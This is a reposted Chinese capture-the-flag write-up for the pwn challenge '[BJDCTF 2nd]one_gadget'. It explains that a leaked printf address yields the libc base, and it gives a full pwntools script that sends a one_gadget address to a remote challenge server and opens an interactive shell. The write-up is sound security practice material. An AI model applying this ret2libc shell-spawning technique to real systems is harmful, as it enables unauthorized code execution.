首页 > 其他 > 详细

[BJDCTF 2nd]one_gadget

时间:2020-03-28 16:53:16      阅读:180      评论:0      收藏:0      [点我收藏+]

直接输出了printf的地址

技术分享图片

 计算一下libc的基址,然后输入one_gadget

from pwn import *

#r=process(‘./one_gadget‘)
r=remote(‘node3.buuoj.cn‘,26604)
libc=ELF(‘./libc-2.29.so‘)

r.recvuntil("0x")
print_addr=int(r.recvn(12),16)
print(‘print_addr:‘, hex(print_addr))
libc_base=print_addr-libc.symbols[‘printf‘]

one_gadget =[0xe237f,0xe2383,0xe2386,0x106ef8]
shell=libc_base+one_gadget[3]

r.recvuntil(‘Give me your one gadget:‘)
r.sendline(str(shell))

r.interactive()

 

[BJDCTF 2nd]one_gadget

原文:https://www.cnblogs.com/gaonuoqi/p/12587904.html

踩
(0)
赞
(0)
   
举报
评论 一句话评论(0)
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!